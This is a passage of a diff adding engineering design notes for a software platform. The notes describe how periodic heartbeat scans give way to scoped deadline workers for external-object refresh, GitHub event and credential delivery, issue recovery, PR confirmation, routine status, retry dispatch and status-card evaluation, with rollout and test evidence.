existing never-refresh meaning. Registration does not change stored timestamps.
|
||||
|
||||
The worker reconstructs eligible deadlines in pages of at most 250 rows. A
|
||||
company notification reads that company only. Ordinary ingestion uses object IDs
|
||||
or stable provider/object/external identity hints, including concurrent upserts,
|
||||
so one mention write does not reconstruct all company history. A due callback reads only its
|
||||
object. Pages select scheduling columns and retain compact deadlines in memory.
|
||||
Dispatch uses fair batches of at most 50 objects. The deadline is the later of
|
||||
`next_refresh_at` and the current refresh lease expiry. Lease renewals and atomic
|
||||
refresh tokens continue to exclude another claimant.
|
||||
|
||||
Unsupported generic links, orphan objects, disabled plugins, empty configuration
|
||||
and retained terminal history do not schedule fallback discovery. Manual refresh
|
||||
retains its existing `no_resolver` result. Actual provider failures retain their
|
||||
saved retry deadline. Unexpected failures retain scoped coordinator backoff;
|
||||
restart reconstructs the saved object and any unexpired claim.
|
||||
|
||||
The supported-resolver and retained-reference approach follows the related draft
|
||||
[PR #17298](https://github.com/paperclipai/paperclip/pull/17298) by
|
||||
[@kaluli123123](https://github.com/kaluli123123). This change adapts that eligibility
|
||||
pattern to scoped scheduling, adds dynamic plugin/company permission predicates,
|
||||
and fences automatic result persistence. It does not modify that draft PR.
|
||||
|
||||
## Producer and transaction audit
|
||||
|
||||
| Mutation | Owner and activation |
|
||||
| --- | --- |
|
||||
| Issue title/description, comment and document references | Existing sync methods register object intent before mention replacement and stable identity intent before object upsert. Routes, runtime tools, adapters and plugin paths reuse these methods. |
|
||||
| Comment/document disappearance | Sync derives the retained mention owners and registers only those companies before deleting obsolete mentions. |
|
||||
| Last mention removal and reattachment | Mention replacement invalidates company deadlines. Retained objects stay available for reattachment. |
|
||||
| Issue deletion | Issue service registers its company before cascading mention deletion. |
|
||||
| Company status/archive/deletion, including budget pause/resume | Company and budget services register company reconstruction before status or deletion writes. |
|
||||
| Feature enable/disable | Instance settings registers global reconstruction before the experimental-settings write. |
|
||||
| Plugin manifest/status/uninstall | Plugin registry registers reconstruction before lifecycle writes. Installed plugins acquire support through the ordinary ready transition. |
|
||||
| Plugin company configuration and enabled setting | Registry writes register only the affected company. There is no plugin-readiness poll. |
|
||||
| Manual and automatic resolver result | Result persistence registers object intent in the same transaction. Automatic persistence rechecks reference and resolver eligibility. Lost support releases the worker's own claim without publishing the stale result. |
|
||||
| Normalized GitHub ingress | The event service registers company intent with the snapshot write. It clears the old refresh token, so an older provider response cannot overwrite that event. |
|
||||
| Import and restore | No independent object-table importer exists in the source baseline. Supported reference ingestion uses the ordinary sync boundary. Startup reconstructs restored durable objects. |
|
||||
|
||||
Notifications are awaited before writes. Caller-owned and nested transactions
|
||||
retain the outer commit boundary through the existing database-work protocol.
|
||||
Rollback does not publish the write. Notifications received during a scan or an
|
||||
active resolver remain dirty until a successful reconciliation.
|
||||
|
||||
The supported live writer model is one shared `createDb` signal owner, including
|
||||
its transactions and child pools. These process-local signals do not cover
|
||||
independent SQL clients or other replicas. Such writers must invoke the supported
|
||||
service boundary or arrange explicit reconstruction/restart. Existing normalized
|
||||
GitHub ingress uses the supported boundary. No permanent database listener or
|
||||
periodic global safety scan is added.
|
||||
|
||||
## Acceptance evidence
|
||||
|
||||
The focused suite uses real PostgreSQL with a controlled simulated provider.
|
||||
Ordinary sync and registry/settings writes create work; the fixture does not
|
||||
pre-create the tested resolved outcome. Assertions independently read saved
|
||||
objects. Tests measure owner reads and provider calls across former tick windows.
|
||||
|
||||
Coverage includes empty and terminal quiet, unsupported links, orphan removal and
|
||||
reattachment, feature/company eligibility, plugin readiness and permission loss
|
||||
during a held provider call, exact and earlier deadlines, durable provider retry,
|
||||
rollback and outer commit after nested savepoint release, startup and paginated
|
||||
reconstruction, inactive companies, never-refresh rows, first work during drain,
|
||||
warm standby, failed refresh after restart, lease renewal, duplicate exclusion,
|
||||
and shutdown while a provider call remains active. The GitHub ingress suite also
|
||||
checks a real normalized event superseding a held resolver response.
|
||||
|
||||
The conservative external-object host-sleep blocker remains. An in-process
|
||||
deadline cannot wake stopped compute. This change proves worker quiet and
|
||||
reactivation in the tested process; it does not establish Cloud alarm coverage,
|
||||
host/database suspension or deployed savings.
|
||||
|
||||
|
||||
## Host cancellation and registered ownership
|
||||
|
||||
The resolver contract accepts an optional host `AbortSignal`. The worker passes
|
||||
its coordinator signal through refresh to the resolver. This reuses the narrow
|
||||
provider-owned capability introduced with merge-confirmation work: GitHub combines
|
||||
host cancellation with a ten-second request budget for real fetch, response-body
|
||||
reads and visibility probes. Plugin RPC payloads remain unchanged. The host
|
||||
observes cancellation while retaining handlers for any eventual plugin/custom
|
||||
result; it releases only its own claim and cannot publish that late result.
|
||||
Startup does not await provider work. Shutdown closes the active GitHub HTTP
|
||||
request, and its saved due row can resume immediately after restart.
|
||||
|
||||
The old `refreshDueObjects*` batch helpers are removed. Existing selection,
|
||||
lease, concurrent manual refresh, terminal-history and not-found recovery tests
|
||||
now enter through the registered scheduler owner. The removed baseline control
|
||||
recorded six SQL reads over three empty aggregate ticks; the current quiet-work
|
||||
acceptance measures zero recurring SQL after settlement. The scheduled check retains its
|
||||
post-refresh scoped read to revalidate current company, reference and resolver
|
||||
eligibility and recover an authoritative lease after a competing writer; all such
|
||||
reads target one object rather than rebuilding a company.
|
||||
@@ -0,0 +1,108 @@
|
||||
# GitHub connection delivery and credential continuity
|
||||
|
||||
GitHub event delivery and credential continuity have separate obligations.
|
||||
The event worker uses the shared delivery coordinator. It performs a startup
|
||||
reconciliation and responds to committed configuration changes or authenticated
|
||||
Cloud hints. Credential work registers the actual next grant expiry, provider
|
||||
continuity check, or saved retry deadline. The aggregate heartbeat no longer
|
||||
calls either service, including when the heartbeat scheduler is disabled.
|
||||
|
||||
## Event delivery contract
|
||||
|
||||
The Cloud webhook target queue remains durable truth. The tenant leases sealed
|
||||
events, validates their bindings, persists company-scoped receipts, applies the
|
||||
existing installation or pull-request behavior, and acknowledges completed work.
|
||||
A receipt row lock prevents overlapping receivers from applying an installation
|
||||
delta twice. Completed receipts remain passive history. The existing normalized
|
||||
merged-pull-request callback keeps its normalized key. Snapshot and confirmation
|
||||
reads/writes share the receipt transaction, including at pool size one; existing
|
||||
confirmation publications and direct wakes flush only after the outer commit.
|
||||
The pre-existing non-chat direct-wake crash gap remains: chat-bound continuations
|
||||
have their existing durable outbox, while an unbound direct wake is best effort.
|
||||
|
||||
A new tenant sends signed event-lease claim `ewv=1`. A compatible Cloud broker
|
||||
records delivery version 1 on the existing instance registration before returning
|
||||
`eventWakeVersion=1`. Only then does the tenant stop configured-empty polling.
|
||||
Cloud reconstructs unacknowledged targets after restart and retries the exact
|
||||
registered tenant when its current queue lease permits another delivery. A
|
||||
successful HTTP hint does not acknowledge the target. Missing, stopped or drained
|
||||
tenants therefore retain their work. The hint carries no provider payload or
|
||||
client-selected destination. The tenant checks a signed, stack-bound, single-use
|
||||
`connector-events:wake` control assertion on the exact POST endpoint.
|
||||
|
||||
Old Cloud and self-hosted registrations retain scoped reconciliation with the
|
||||
existing backoff. No connector configuration or no registration history settles
|
||||
to no recurring owner SQL or provider traffic. Disabled consumers can acknowledge
|
||||
queued events as ignored using their trusted local registration history; they
|
||||
cannot apply events to an inactive connection. Removing polling does not remove
|
||||
the host sleep safety blockers. Worker quiet is not proof of host suspension.
|
||||
|
||||
## Durable credential debt
|
||||
|
||||
A grant stores a unique `bindingSync` revision and removed installation IDs before
|
||||
Cloud registration calls. Successful delivery clears only the locked current
|
||||
revision. Failure retains the saved intent and an exponential retry deadline,
|
||||
including provider Retry-After advice. A restart loads that deadline from the
|
||||
grant. Binding-only retries use the existing credential refresh lease and current
|
||||
secret resolver without repeating account/repository discovery. The initial OAuth
|
||||
callback uses the same saved debt and settlement path after connection activation.
|
||||
|
||||
Cloud binding calls retain the grant, its connection, and a company share lock.
|
||||
That admission fence prevents a concurrent disable, revoke, or archive from
|
||||
finishing before an already-admitted registration call. The API has no remote
|
||||
revision fence that could safely replace those locks with two short transactions.
|
||||
Each HTTP request and response body has a physical 15-second abort deadline.
|
||||
Four calls run in an awaited batch; a failed batch leaves the saved debt and
|
||||
releases the transaction after all four outcomes settle. Other companies can
|
||||
continue through separate pool connections. Slow successful multi-batch passes
|
||||
can delay writes to the same grant/connection and company status changes; the
|
||||
schema permits up to 100 active and 100 removed installation IDs. This is not an
|
||||
instance-wide lock or an idle hold.
|
||||
|
||||
Credential expiry remains enforced by the existing use path. Scheduled continuity
|
||||
checks run one hour before recorded access expiry or after the existing 30-day
|
||||
continuity window. A successful renewal that leaves the credential short-lived
|
||||
or unchanged retains a one-hour retry obligation instead of causing rapid calls.
|
||||
Changed credential metadata invalidates the old retry revision, so an earlier new
|
||||
expiry can preempt it. Disabled connections and archived companies do not perform
|
||||
credential work. Reactivation uses the normal committed configuration signal.
|
||||
|
||||
GitHub owners receive only relevant credential/configuration signals, not generic
|
||||
health or receiver notifications. Continuity reconstruction is company-scoped
|
||||
after the startup scan. Event draining retains instance-wide binding matching
|
||||
because Cloud leases an instance queue. Event hints coalesce with a five-second
|
||||
minimum pass spacing; an unrelated connection PATCH cannot trigger that drain.
|
||||
OAuth rotation merges only its owned OAuth fields, lease acquisition compares
|
||||
current metadata, and cleanup atomically removes only the matching lease path,
|
||||
preserving concurrent GitHub installation changes and binding-removal debt.
|
||||
|
||||
Supported local producers are the owning connection, OAuth, grant and company
|
||||
services in one tenant process. Their notifications belong to the outer database
|
||||
transaction. A savepoint does not commit a wake, and rollback cancels the write.
|
||||
Arbitrary SQL writers must use these notification contracts or restart the owner;
|
||||
process-local signals do not promise independent-writer or replica notification.
|
||||
External event delivery remains durable in Cloud across processes and restarts.
|
||||
|
||||
## Paired rollout and rollback
|
||||
|
||||
1. Apply the companion Cloud registration-column migration and deploy its delivery
|
||||
worker with the control signer present. Keep new enrollment disabled initially.
|
||||
2. Deploy this tenant version. It keeps fallback polling against older Cloud.
|
||||
3. Enable Cloud enrollment. Version 1 activation is durable and idempotent. Turning
|
||||
the new-enrollment flag off must still service all existing version 1 records.
|
||||
4. Before removing the Cloud delivery worker, restart affected tenants with
|
||||
`PAPERCLIP_GITHUB_EVENT_POLLING=1`. They arm fallback before sending signed
|
||||
`ewv=0`. Confirm the Cloud registration is cleared. A failed handoff leaves
|
||||
fallback active and Cloud retry intact. Alternatively, restore the old polling
|
||||
tenant image first while retaining the compatible Cloud worker.
|
||||
5. Do not deploy a Cloud downgrade that removes responsibility for still-enrolled
|
||||
tenants. There is no capability expiry, renewal poll, or periodic tenant hint.
|
||||
|
||||
## Evidence
|
||||
|
||||
Focused tests use isolated PostgreSQL plus controlled HTTP provider simulations.
|
||||
They cover first service write after quiet, saved results, terminal receipts,
|
||||
concurrent replay, signed callbacks, outer commit/rollback, drain/resume, startup
|
||||
wiring in both scheduler branches, credential backoff and changed deadlines.
|
||||
Cloud acceptance uses its actual broker/store/notifier boundaries and a controlled
|
||||
HTTP tenant. These tests do not establish a deployed fleet rollout or cost savings.
|
||||
@@ -0,0 +1,18 @@
|
||||
# Issue recovery without periodic scans
|
||||
|
||||
Four existing owners reconstruct their current obligations once at startup. Committing source writes invalidate only their company. The coordinator keeps scopes, per-issue deadlines, and per-entry failures in memory. Its pending check does not query the database.
|
||||
|
||||
| Owner | Durable truth and producer boundary | Deadline or event | Exit |
|
||||
| --- | --- | --- | --- |
|
||||
| Stranded assignment | Visible assigned todo/in-progress/review issues; issue create/update/checkout/release; run lifecycle and execution control; agent/company/budget/configuration; interaction, approval and subtree hold changes | A committed eligibility change. A transient continuation uses the latest finish plus the existing exponential delay. | An execution path, durable wait, escalation, or current ineligibility. |
|
||||
| Resolved dependency | Blocked assigned issues and company-scoped blocker relations; blocker status or relation changes through issue service and import; run/control and pause gate changes | The committing change. A failed enqueue retains that issue with error backoff. | Existing idempotent wake, live path, unresolved dependency or deliberate self-block. |
|
||||
| Task watchdog | Active issue watchdogs and their current source subtree; normal watchdog upsert/disable; issue/comment/document/work-product and wait changes | Exact source creation plus the existing 15-second first-run grace. An incomplete scan retains the watchdog with error backoff. | Live path, open/reviewed reusable review, disabled configuration, or ineligible source. |
|
||||
| Stale issue lock | Existing checkout/execution run references; issue and run lifecycle changes | A committing ownership change, or the fresh owning controller's saved lease expiry. | No stale reference, a valid owner, or the existing guarded terminalization and lock clear. |
|
||||
|
||||
The owner methods accept company and issue/watchdog identity. A narrowed lock check still reads other same-company references before using terminal-issue authority. A stale terminal alias cannot end an active issue's shared run. The controller lease owner supplies its fresh expiry; the existing write predicate revalidates the observed boot ID and database-clock expiry.
|
||||
|
||||
Producer coverage uses the existing run-dispatch, execution-control, issue-review-state, native status reassessment and external conversation settlement boundaries. Direct gaps have explicit signals inside their owning transaction: document writes/import, attachment removal, blocker import, recovery-action adoption/mutation, conversation pause release, Telegram failure comment replacement, native artifact title/metadata updates and company deletion. Metadata-only comment classification that does not change timestamp, visibility or execution eligibility needs no additional watchdog activation. Approval links and decisions use their existing issue-review/continuation effects. Work-product create/update/delete/import uses its existing native status boundary.
|
||||
|
||||
The new owners replace only these four startup and periodic calls. Deferred comments, silent active runs and residual orphan/resource recovery retain their existing backstop until the next slice. Every previously migrated native-owner skip remains unchanged.
|
||||
|
||||
A controlled process test prints an execution proof but cannot apply a task disposition. The test operator completes that task through issue service. If the existing continuation policy already saved a disposition-repair retry, the test preserves it until its stored deadline. Only after all provider work has joined does it advance the clock; dispatch then revalidates the completed task and cancels the retry. The final quiet proof requires no registered deadlines, no tracked in-flight work and no owner SQL over twenty former polling minutes. It does not claim a saved future retry is already drained.
|
||||
@@ -0,0 +1,118 @@
|
||||
# Merged pull request confirmation scheduling
|
||||
|
||||
The merged-PR confirmation duty previously ran from every heartbeat maintenance
|
||||
callback, including when there were no merge requests. It loaded all pending
|
||||
confirmation cards and then applied the merge-only parser in memory.
|
||||
|
||||
The interaction service still owns merge-only eligibility, provider access,
|
||||
automatic acceptance, current resolver authority, audit, and continuation.
|
||||
The worker registers the existing scoped-deadline helper with a dedicated delivery
|
||||
topic. Shared scheduling receives interaction/company identities and deadlines;
|
||||
it receives no GitHub payloads. No database migration is required.
|
||||
|
||||
## Durable truth and producers
|
||||
|
||||
Pending `request_confirmation` interaction rows remain the durable work source.
|
||||
The candidate query pages pending cards in bounded groups of 100 and excludes
|
||||
terminal and hidden issues and linked tool actions. The existing fail-closed
|
||||
parser is the sole text eligibility source: it requires merge intent and a PR
|
||||
reference and excludes additional actions, governed actions, and document/attachment targets.
|
||||
No accepted or cancelled history keeps a deadline alive. A full page without any
|
||||
merge candidates still advances its keyset cursor; later candidates are not lost.
|
||||
|
||||
Ordinary creation registers the topic before inserting a confirmation in its
|
||||
transaction. Existing confirmation-resolution notifications invalidate its issue
|
||||
before acceptance, rejection, withdrawal, supersession, and administrative expiry.
|
||||
Issue status and visibility changes invalidate that issue before their update.
|
||||
The signal helper joins caller-owned outer transactions; nested savepoint release
|
||||
is not a commit. Startup reconstructs existing candidates. Direct tool, secret,
|
||||
and OAuth interaction inserts do not create eligible merge-only work. Company
|
||||
portability does not import pending interaction rows.
|
||||
|
||||
The supported writer model is the instance's ordinary service/API process.
|
||||
Independent SQL writers must use the same transaction-aware notification contract
|
||||
or explicitly invalidate/restart the owning worker. Process-local notifications
|
||||
do not establish a cross-replica ingress guarantee. No permanent database listener
|
||||
or empty recovery scan is added.
|
||||
|
||||
## External observation and retries
|
||||
|
||||
The existing normalized `applyPullRequestEvent` to
|
||||
`sweepMergedPullRequestConfirmations` seam remains available. A normalized merge
|
||||
hint checks matching references in its company; unrelated tenants and PRs do not
|
||||
cause provider reads. Existing provider/binding authorization remains unchanged.
|
||||
|
||||
A pending candidate can reference a PR whose external changes have no dependable
|
||||
webhook coverage. Each such candidate retains a five-minute observation deadline.
|
||||
Resolution, withdrawal, supersession, hiding, or terminal issue state removes the
|
||||
obligation. Provider/read failures and unknown states retain the candidate, using
|
||||
the existing scoped helper's 30-second exponential backoff capped at five minutes.
|
||||
These retries do not scan completed history. Removing candidate reconciliation
|
||||
requires a proven durable delivery/replay guarantee for every referenced PR,
|
||||
including the first event after idle and supported non-Cloud installations.
|
||||
|
||||
This is candidate-backed external observation. It does not eliminate all polling,
|
||||
register a Cloud wake alarm, or prove that the host/database suspends. Existing
|
||||
sleep-safety blockers remain in force.
|
||||
|
||||
Startup registers this observation without waiting for live GitHub requests.
|
||||
The internal resolver invocation accepts an optional host-owned abort signal;
|
||||
that signal is not part of external-object records or plugin/RPC payloads.
|
||||
The GitHub owner combines cancellation with a ten-second request budget and
|
||||
passes it to the actual object fetch and repository-visibility probes, including
|
||||
response body reads. Shutdown aborts the request and waits for its cancellation;
|
||||
no post-abort acceptance is committed. A timeout leaves the durable card pending.
|
||||
|
||||
## Acceptance evidence
|
||||
|
||||
Focused tests use real PostgreSQL, the actual service producers, transaction
|
||||
signals, coordinator, scheduler, acceptance transaction, and persisted audit and
|
||||
chat continuation outbox. GitHub state and the direct heartbeat wake callback are
|
||||
controlled simulation boundaries. The tests do not claim live GitHub delivery or
|
||||
real agent execution.
|
||||
|
||||
Cases cover empty/configured idle and retained terminal history with no recurring
|
||||
SQL/provider work across old cadence windows; the first ordinary creation;
|
||||
outer commit/rollback; exact candidate and failure deadlines; withdrawal;
|
||||
provider failure across drain; standby/resume; restart; tenant-scoped and duplicate
|
||||
merge hints; latest/superseded cards during provider observation; hidden/terminal
|
||||
issues; URL targets; no-continuation policy; and shutdown during an in-flight read.
|
||||
Existing startup and normalized GitHub event tests exercise the changed consumers.
|
||||
Controlled local HTTP tests hold headers, partial response bodies, 404 probes,
|
||||
and public-visibility probes. They observe server-side response close after
|
||||
shutdown within one second, rather than only racing a promise. A shortened
|
||||
request budget times out a real request; the saved card then accepts after
|
||||
restart when that same HTTP fixture serves a merged response. Existing GitHub
|
||||
provider and external-object service tests preserve their authorization behavior.
|
||||
|
||||
## Verification follow-up
|
||||
|
||||
The original head passed full-workspace typecheck and build. A later required
|
||||
Linux CI shard failed the unchanged managed-skill maintenance CLI fixture in
|
||||
`managed-skill-content.test.ts`: it returned `unavailable_or_corrupt_package`
|
||||
where `local_storage` was expected. Both the isolated case and the complete
|
||||
unchanged 17-test file pass against fresh local PostgreSQL. The original Linux cause is
|
||||
not established; that failure is retained and is not called a flake.
|
||||
|
||||
After merging current master, the same fixture failed locally because the new
|
||||
managed-Cloud policy from PR #18350 correctly refuses local disk. A separate
|
||||
test-only prerequisite commit changes that fixture to the real S3 provider with
|
||||
a controlled HTTP endpoint, valid fixture credentials, and a stable test key.
|
||||
It verifies remote reads without seeding or mutating runtime configuration,
|
||||
rejects corrupt and missing objects, and recovers after restoring canonical bytes.
|
||||
The full existing 17-test file passes with these failure controls. Production
|
||||
configuration validation remains unchanged. Current-head required CI remains
|
||||
the completion gate.
|
||||
|
||||
## Existing limitations outside this migration
|
||||
|
||||
Direct non-chat continuation still uses the existing postcommit `wakeup` call.
|
||||
If that call fails after acceptance commits, the previous periodic sweep also
|
||||
skipped the accepted row and did not reconstruct the missing wake. This migration
|
||||
preserves that behavior; a general durable interaction-continuation contract is
|
||||
a separate follow-up. Real chat bindings retain the existing transactional
|
||||
`interaction_wakeup` outbox, verified through ordinary creation and acceptance.
|
||||
|
||||
The separate review-authority issue tracked in public issue #17704 and PR #17711
|
||||
remains owned there. The worker isolates candidate failures and preserves current
|
||||
review authorization; it does not grant a system actor new review authority.
|
||||
@@ -0,0 +1,61 @@
|
||||
# Routine execution status settlement
|
||||
|
||||
The Cloud routine status worker repairs a routine invocation when its linked
|
||||
execution task and saved routine status disagree. The previous heartbeat callback
|
||||
scanned every five minutes, even with no routines or only completed history.
|
||||
|
||||
## Ownership and trigger
|
||||
|
||||
`routine-run-status.ts` owns the projection, custody checks and repair transaction.
|
||||
The worker loads actual mismatches in keyset pages of 50 at startup. It accepts issue hints from issue
|
||||
creation, status/origin changes, checkout/release, routine issue association,
|
||||
execution control writes, review state writes and subtree status restoration.
|
||||
Bulk restoration registers each issue hint in the same transaction before its
|
||||
grouped write. Restored history does not depend on an optional agent wake. It uses the existing
|
||||
transaction-aware work notification protocol. An outer transaction owns the hint;
|
||||
a savepoint release does not wake the repair worker before commit.
|
||||
|
||||
An execution must retain reciprocal task/invocation links in the same company
|
||||
and belong to a routine in that company. This is the existing routine status
|
||||
owner contract. Origin labels can change when a plugin declaration changes or
|
||||
is removed; retained reciprocal links preserve historical execution custody. Repair
|
||||
locks the routine and task and rechecks the linked invocation before writing.
|
||||
Direct route hooks also lock the execution task and linked invocation in their
|
||||
own transaction, nested under caller transactions when present. An older hook
|
||||
cannot write after a newer task status has committed. It preserves skipped/coalesced history and unrelated dispatch failures. A task
|
||||
that resumes clears an execution-task transient failure through the same owner
|
||||
used by native completion and issue routes.
|
||||
|
||||
`activeIssue` remains derived from open tasks and live heartbeat runs. A terminal
|
||||
heartbeat with an open task does not create a completion obligation. The worker
|
||||
does not retry merely because a run is active or a routine exists.
|
||||
|
||||
## Lifecycle and writer contract
|
||||
|
||||
`registerScopedDeadlineWork` owns coalescing, fair batches, failure backoff, drain
|
||||
and shutdown. A failed owner retries with bounded backoff. Successful settlement
|
||||
removes that owner. Settled configuration, healthy active tasks and completed
|
||||
history leave no recurring worker SQL. The existing Cloud and heartbeat scheduler
|
||||
enablement gates remain in place. Ordinary routine scheduling is unchanged.
|
||||
|
||||
Supported app writers register `notifyRoutineExecutionStatus(tx, issueId)` before
|
||||
their mutation. Common execution writers without an issue hint request debt reconstruction only
|
||||
for their recorded company. Projection debt settles even when that company is
|
||||
paused; company activity does not create or cancel this obligation. Backups and independent SQL import/repair tools must restore
|
||||
before startup or call that same transaction contract; process-local hints do
|
||||
not observe independent SQL or another process. No permanent listener or periodic
|
||||
configured-routine scan is added.
|
||||
|
||||
The in-process retry deadline does not establish external Cloud wake coverage.
|
||||
This change preserves the existing host sleep safety checks and does not claim
|
||||
measured host or database suspension.
|
||||
|
||||
## Acceptance
|
||||
|
||||
Tests exercise ordinary issue writes and a real heartbeat lifecycle transition
|
||||
against PostgreSQL with the production coordinator. Provider wakeup is simulated.
|
||||
They inspect durable routine rows and the normal routine detail read separately.
|
||||
Coverage includes empty/configured/history quiet periods, first producer,
|
||||
terminal outcomes and reopen, legacy mismatch reconstruction, skipped/coalesced
|
||||
custody, outer commit/rollback, retry/restart, drain/resume and standby/disable.
|
||||
Focused worker tests exercise in-flight invalidations, retry isolation and stop.
|
||||
@@ -0,0 +1,34 @@
|
||||
# Run dispatch without idle retry scans
|
||||
|
||||
The run-dispatch module owns retry admission, its durable `scheduled_retry_at`
|
||||
deadline, and atomic promotion. The heartbeat queue owns concurrency, current
|
||||
execution authority, and dispatch. The shared coordinator owns notification
|
||||
coalescing, nonoverlap, transaction uncertainty, drain/resume and shutdown.
|
||||
The heartbeat facade and `index.ts` only connect these owners.
|
||||
|
||||
A scheduled retry is a future obligation. Startup reconstructs its next stored
|
||||
deadline through the run-dispatch adapter. Writes that create, move, cancel or
|
||||
invalidate retries notify the retry worker in their transaction. Promotion uses
|
||||
the existing gate and compare-and-set, and its committed write wakes ordinary
|
||||
queued dispatch. A queued run behind occupied capacity waits for the owning
|
||||
run's lifecycle transition. Configuration and authority changes also wake it.
|
||||
An idle queue has no recurring read or timer-driven dispatch attempt. Notifications batch for one second and carry the changed company to queued dispatch. Known retry deadlines still preempt batching. Cancellation-owned retries stay with their cancellation worker and do not retain a promotion deadline.
|
||||
|
||||
The supported writer contract is service writes through the shared database
|
||||
connection scope, including caller-owned and nested transactions. Existing
|
||||
explicit domain notification boundaries cover lifecycle, issue review state,
|
||||
agent configuration/status, company lifecycle and scheduling settings. Direct
|
||||
SQL writers and independent replicas must provide an explicit ingress signal or
|
||||
restart reconstruction; a process-local signal does not observe their commits.
|
||||
This change adds no permanent database listener or write interception.
|
||||
|
||||
The remaining periodic recovery chain still owns deferred comment receipts,
|
||||
execution-wait cancellation recovery, orphan/resource recovery, stranded issue
|
||||
assignments, dependency wake repair, task watchdogs, silent active runs and stale
|
||||
locks. Those duties retain their backstop until their separate producer/deadline
|
||||
migrations are qualified. This slice removes only the periodic scheduled-retry
|
||||
promotion call. Ordinary queued dispatch can still be reached by that backstop;
|
||||
the existing atomic claim and per-agent start lock prevent duplicate execution.
|
||||
|
||||
These workers use internal process deadlines. They do not register Cloud wake
|
||||
alarms and do not relax the durable idle-sleep safety proof.
|
||||
@@ -0,0 +1,137 @@
|
||||
# Status-card evaluation deadlines
|
||||
|
||||
Status-card evaluation uses existing cards, updates and issues as durable truth.
|
||||
`index.ts` registers a typed worker. The status-card owner controls evaluation,
|
||||
generation claims, assignment through the ordinary issue wake API, and failed
|
||||
assignment cancellation. Shared delivery infrastructure controls transaction
|
||||
settlement, coalescing, retries, admission drain, standby and shutdown.
|
||||
|
||||
Manual cards have no automatic obligation. Interval cards retain the requested
|
||||
evaluation cadence. Reactive cards evaluate committed source changes and retain
|
||||
only an actual debounce, hourly rate, daily budget, active-hour or saved-query
|
||||
membership deadline. Unchanged cards disarm. A changed experimental setting
|
||||
invalidates the worker's cached feature gate. Other source writes do not reread
|
||||
settings. Startup reconstructs every disarmed reactive scope together with any
|
||||
concurrent company-scoped hint, without moving saved eligibility/retry deadlines.
|
||||
|
||||
Company search reports the earliest matching `updatedWithin` expiry through an
|
||||
optional internal callback in its existing aggregate query. It includes rows
|
||||
outside the returned page: an expiring priority-ranked row ahead of an offset
|
||||
can change the watched set. The callback exposes only a normalized deadline;
|
||||
ordinary search consumers and API responses retain their existing contract.
|
||||
Overlapping query scopes can require an evaluation when one query expires even
|
||||
if another still retains the same issue; no generation occurs without a filtered
|
||||
card change. No recurring scan replaces the expired query obligation.
|
||||
|
||||
## Claims and recovery
|
||||
|
||||
A feature-owned PostgreSQL transaction advisory lock serializes scheduled
|
||||
per-card evaluation across connections. Its transaction holds no card row lock
|
||||
while existing issue/card services commit through their own transactions. The
|
||||
lock remains held through actual refresh settlement. Existing card deadline CAS,
|
||||
generating-issue ownership and issue idempotency keys remain in force. Manual
|
||||
refresh and older instances continue to use those existing guards. A busy lock
|
||||
retains a company-scoped retry; consuming a hint is not successful evaluation.
|
||||
A failed scheduled refresh retains the existing five-minute durable claim.
|
||||
|
||||
Once a generation exists, the normal issue assignment authority remains its
|
||||
owner. Assignment failure cancels that issue and finalizes the card's failed
|
||||
ledger entry. The user's ordinary refresh action can retry it. Restart recovery
|
||||
must not repeat an already completed generation. No new timer table, automatic
|
||||
write replay, execution-authority exemption or sleep-safety relaxation is added.
|
||||
|
||||
## Supported producer coverage
|
||||
|
||||
All hints are registered before the relevant write within its owning transaction.
|
||||
Nested service writes share outer commit ownership. Company-scoped hints batch
|
||||
reactive reconciliation; ordinary execution writes without known scope retain
|
||||
all existing execution consumers without sending an instance-wide card hint.
|
||||
|
||||
| Producer | Notification boundary and coverage |
|
||||
| --- | --- |
|
||||
| Card create, configuration, archive/restore, delete, compile, query/summary result, evaluation claim | Status-card mutation transactions; stalled issue finalization signals before releasing the card claim |
|
||||
| Experimental status-card setting | Instance experimental-settings transaction; full reconstruction is appropriate for this instance-wide setting |
|
||||
| Company pause/archive/reactivate/delete | Company lifecycle/deletion transactions and budget-owned company hard-stop/resume transactions |
|
||||
| Issue create/update/delete and label changes | Ordinary issue transactions; label deletion signals its known company before cascades; title and prefix changes signal their existing owner transactions |
|
||||
| Issue checkout/adoption/release/reset and environment-selection recency | Existing issue transaction, or a transaction around the previously standalone write; company comes from the existing issue/run read |
|
||||
| Comment create, edit, delete, tombstone, import and recency | Common comment insert; outer root comment transaction; queued-comment and Telegram edit transactions; existing metadata-upgrade path; remove/tombstone transactions |
|
||||
| Issue import, comment import, document import | One notification per affected company in the existing batch transaction; no per-row notification lookup |
|
||||
| Document create/update/restore/delete and search membership | Document owner transactions; only the existing company is passed, without copying search predicates into producers |
|
||||
| Review, interaction and execution transitions | Existing issue-review-state and native-status-reassessment boundaries; scoped execution-control helpers; interaction recency touches own a transaction when called after settlement |
|
||||
| Run admission, retries, monitors, watchdog/recovery and native settlement/reclaim | Existing scoped review/milestone/status/execution-control hooks; explicit notifications at the uncovered issue execution bind, legacy claim, monitor claim/release and review-participant recovery transaction |
|
||||
| Agent deletion/access reassignment and project deletion/privacy cascades | Existing company-scoped owner transactions before foreign-key or recursive issue changes |
|
||||
| Workspace selection/binding, plugin/provider workspace and cleanup/audit touches | Existing owner transactions, including standalone cleanup and audit recency writes now enclosed with their intent |
|
||||
| Skill-test harness expiry and task-watchdog fingerprint touch | Existing owner mutation transaction; no feature policy is moved into the writer |
|
||||
|
||||
The audit includes direct issue/comment mutations, raw recursive privacy updates,
|
||||
bulk insert helpers, label/project/agent cascades, linked document search content
|
||||
and timestamp-dependent search membership. Metadata-only writes that do not
|
||||
change the fingerprint, matching fields or visibility do not create an evaluation
|
||||
obligation: examples include run identity linkage, workspace IDs without a
|
||||
recency change, document locks and source-trust receipts without searched content
|
||||
changes. Routine and status-summary documents that have no issue-document link
|
||||
do not change issue search membership.
|
||||
|
||||
This follows the existing [single-active-writer contract](../idle-sleep-safety.md).
|
||||
Supported services, import/recovery writers, caller-owned transactions and startup
|
||||
reconstruction participate. Independent SQL writers or another active server
|
||||
process require explicit wake ingress; process-local hints do not establish
|
||||
cross-replica notification delivery. The advisory lock supplies competing
|
||||
scheduler exclusion, not cross-process event transport. Internal deadlines do
|
||||
not establish a Cloud wake alarm or prove host/database suspension.
|
||||
|
||||
## Verification
|
||||
|
||||
Real PostgreSQL acceptance uses ordinary card create/compile and authorized
|
||||
summarizer writeback. The assignment boundary is controlled: it persists a wake,
|
||||
and the test explicitly performs the authorized result write; no model runs.
|
||||
Checks cover empty/manual/reactive/disabled quiet SQL, first source change,
|
||||
debounce and durable wake/result, earlier/cancelled deadlines, outer commit and
|
||||
